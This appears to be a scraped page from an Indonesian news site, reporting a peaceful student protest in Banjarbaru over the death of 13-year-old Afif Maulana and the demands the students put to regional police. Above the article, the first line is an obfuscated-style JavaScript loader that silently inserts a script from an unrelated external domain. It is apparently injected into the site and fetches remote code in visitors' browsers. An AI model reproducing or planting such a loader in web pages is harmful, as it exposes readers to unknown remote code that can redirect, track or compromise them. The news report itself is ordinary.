(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ratusan mahasiswa yang tergabung dalam aliansi Badan Eksekutif Mahasiswa Se Kalimantan Selatan (BEM Se Kalsel) menyerukan sikap solidaritas atas peristiwa kematian Afif Maulana di halaman Balai Kota Banjarbaru, Kamis (11/7/2024) sore.
Afif Maulana merupakan seorang anak berusia 13 tahun yang jasadnya ditemukan mengapung di bawah Jembatan Kuranji, Padang, Sumatera Barat, pada Minggu (9/7/2024) siang.
Afif Maulana meninggal dunia didiga usai mengalami penyiksaan oleh polisi. Sedangkan polisi menyatakan anak 13 tahun itu melompat dari atas jembatan setelah menghindar kejaran anggota Samapta yang bertugas mencegah tawuran pada Minggu dini hari itu.
Dari Ibu Kota Provinsi Kalsel, mahasiswa menegaskan kecaman dan kutukam keras atas dugaan tindakan yang dilakukan aparat kepolisian tersebut.
“Walaupun kita ada di daerah Kalimantan, tapi suara-suara ini sangat diperlukan untuk mendukung dan mengawal kasus ini agar diusut sampai tuntas,” ujar Dimas, mahasiswa asal Universita Islam Kalimantan (Uniska) Muhammad Arsyad Al Banjari, koordinasi aksi saat diwawancarai, Kamis (11/7/2024) petang.
Baca juga: Pembangunan Tahap Kedua Tugu Pal Nol, Ditarget Selesai Desember 2024 Ini
Poin tuntuan mereka adalah, meminta Polda Kalsel untuk menyampaikan pernyataan sikap, baik itu melalui media atau sikap terbuka terkait peristiwa ini dan komitmen Polri agar peristiwa ini juga tidak akan terjadi di Kalsel.
“Kita memberikan desakan kepada Polda Kalsel untuk segera memberikan sikap terhadap peristiwa ini dan komitmen menjaga wilayah Kalsel tidak terjadi peristiwa hal yang sama,” tegas dia.
Kota Banjarbaru dipilih menjadi tempat aksi solidaritas ini agar suara aspirasi mereka didengar oleh lebih banyak masyarakat luas.
Baca juga: Komitmen Wali Kota Aditya Dukungan Program Peningkatan Kualitas Keluarga di Cempaka
Secara bergantian, mereka menyampaikan aspirasi sebagai bentuk pengawalan terhadap kasus ini.
Hingga di akhir aksi damai, mereka menadahkan kedua tangan, berdoa bersama berharap agar kasus yang seperti ini tidak akan pernah terulang.
“Kita berharap kasus kekerasaan ini diadili dengan tegas dan diusut hingga ke akar-akarnya,” harapnya.
Baca juga: Kepala Bappedalitbang Banjar Imbau ASN dan PPPK Tak Pakai Gas 3 Kilogram
Sementara itu, Kabag Ops Polres Banjarbaru, Kompol Indra Agung Perdana Putra mengatakan aksi ini berjalan dengan lancar. Massa secara tertib dan persuasif menyampaikan aspirasinya terhadap kasus yang dikawal ini.
“Secara persuasif dan tertib mahasiswa menyampaikan beberapa hal yang juga masuk dalam atensi kita. Semua anggota melaksanakan pengamanan dengan baik,” ujar Kompol Indra. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.